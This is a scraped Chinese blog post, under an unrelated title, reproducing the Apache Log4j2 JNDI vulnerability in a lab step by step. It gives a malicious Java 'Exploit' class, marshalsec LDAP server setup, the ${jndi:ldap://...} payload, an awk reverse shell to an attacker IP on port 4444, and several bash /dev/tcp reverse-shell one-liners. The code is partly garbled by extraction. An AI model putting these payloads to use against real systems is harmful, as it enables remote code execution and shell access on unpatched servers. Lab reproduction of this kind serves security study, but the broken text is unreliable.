迅雷雷鸟-sql分页

2023年4月2日发(作者:sddsupdate)
apachelog4j2漏洞复现linux【纯详版】
本次记录⾃⼰测试时每⼀步操作,很详细。
本次复现分为curl测试和拿shell两种操作,测试完curl后体验时长到期了,只能换环境了。
本次测试环境如下:
curl------------------------------------------------------
攻击机:106.15.47.238(阿⾥云的⼀⼩时体验服务器)
拿shell--------------------------------------------------
靶场:192.168.11.136(centos7)
攻击机:192.168.11.128(kali)
curl测试:
攻击机-----------------------
安装java环境:
jdk1.8.0_181
下载好后使⽤rz传到vps上:
#yuminstalllrzsz
#rz
解压缩:
Copy到/usr/jdk:
cp-rjdk1.8.0_181//usr/jdk
编辑环境变量:
vi/etc/profile
将下⾯配置添加到⽂件最后:
exportJAVA_HOME=/usr/jdk
exportCLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH
exportPATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
告诉系统jdk的位置:
update-alternatives--install"/usr/bin/java""java""/usr/jdk/bin/java"1
update-alternatives--install"/usr/bin/javac""javac""/usr/jdk/bin/javac"1
update-alternatives--install"/usr/bin/javaws""javaws""/usr/jdk/bin/javaws"1
update-alternatives--install"/usr/bin/javaws""javaws""/usr/jdk/bin/javaws"1
设置新的jdk为默认:
update-alternatives--setjava/usr/jdk/bin/java
update-alternatives--setjava/usr/jdk/bin/java
update-alternatives--setjavac/usr/jdk/bin/javac
update-alternatives--setjavac/usr/jdk/bin/javac
update-alternatives--setjavaws/usr/jdk/bin/javaws
update-alternatives--setjavaws/usr/jdk/bin/javaws
重载profile⽂件:
source/etc/profile
查看jdk版本:
java-version
到此java环境安装完毕。
编写⼀个恶意类,命名为,这⾥⽤curl测试:
写⼊:
publicclassExploit{
publicExploit(){
try{
//要执⾏的命令
String[]commands={"curl","http://106.15.47.238:5678"};
Processpc=time().exec(commands);
r();
}catch(Exceptione){
tackTrace();
}
}
publicstaticvoidmain(String[]argv){
Exploite=newExploit();
}
}
编译:
开个http服务,等会⽤来验证是否命令被⽬标执⾏:
安装maven:
wget/apache/maven/maven-3/3.8.4/binaries/
解压:
配置:
update-alternatives--install/usr/bin/mvnmvn~/apache-maven-3.8.4/bin/mvn1
环境变量配置:
vi/etc/profile
最下⾯添加:
exportMAVEN_HOME=~/apache-maven-3.8.4
exportPATH=$MAVEN_HOME/bin:$PATH
重载profile⽂件:
source/etc/profile
装git:
yuminstallgit
下载marshalsec⼯具
gitclone/mbechler/
进⼊marshalsec⽂件夹,使⽤maven编译marshalsec成jar包:
mvncleanpackage-DskipTests
耐⼼等待ing...
来了
在⽂件所在⽬录开个http服务:
进⼊target⽂件夹,搭建个LDAP服务:
fServerhttp://106.15.47.238:1234/#Exploit8899
访问靶场:
点击登录后,⽬标执⾏命令curl我们的5678端⼝:
----------------------------------------------------------------------------------------------------------------
这时候靶场1⼩时时间到期了呜呜。
拿shell:
简介:
靶机:192.168.11.136(centos7)
攻击机:192.168.11.128(kali)
和以上curl操作相同,只是修改被执⾏的命令为反弹shell。
靶机docker环境搭建:
装docker
curl-s/|sh
启动docker:
servicedockerstart
拉镜像:
/fengxuan/log4j_vuln
容器:
dockerrun-it-d-p8080:8080--namelog4j_vuln_/fengxuan/log4j_vuln
进容器:
dockerexec-itlog4j_vuln_container/bin/bash
开tomcat服务:
/bin/bash/home/apache-tomcat-8.5.45/bin/
到此为⽌靶机环境搭建好了。
攻击机-----------
配java环境、各种组件。和上⾯curl操作步骤⼀样。
配好环境和相关组件后,在所在⽬录启个http服务:
python-mSimpleHTTPServer1234
开启LDAP服务:
fServerhttp://192.168.11.128:1234/#Exploit8899
恶意类内容.编辑⽂件,利⽤curl反弹shell:
编译:
再启个http服务供⽬标机器来访问:
内容:意思是把shell反弹到攻击机4444端⼝:
awk'BEGIN{s="/inet/tcp/0/192.168.11.128/4444";while(42){do{printf"shell>"|&s;s|&getlinec;if(c){while((c|&getline)>0)print$0|&s;close(c);}}while(c!="exit")close(s);}}'/dev/null
Nc监听4444,坐等shell:
nc–lvnp4444
Post请求c=${jndi:ldap://192.168.11.128:8899/id}
过程:
⽬标Curl攻击机的8888端⼝,内容为反弹shell到攻击机4444端⼝:
收到shell:
-----------------------
问为什么要这样反弹,⿇烦不烦啊!
答因为其他⽅式本⼈没弹出来(委屈)
bash-i>&/dev/tcp/192.168.11.128/44440>&1
bash-i>/dev/tcp/192.168.11.128/44440<&12>&1
exec196<>/dev/tcp/192.168.11.128/4444;sh<&196>&1962>&196
晚安
参考:
声明:
由于传播、利⽤此⽂所提供的信息⽽造成的任何直接或者间接的后果及损失,均由使⽤者本⼈负责,⽂章作者不为此承担任何责任。
更多推荐
log4j2漏洞
发布评论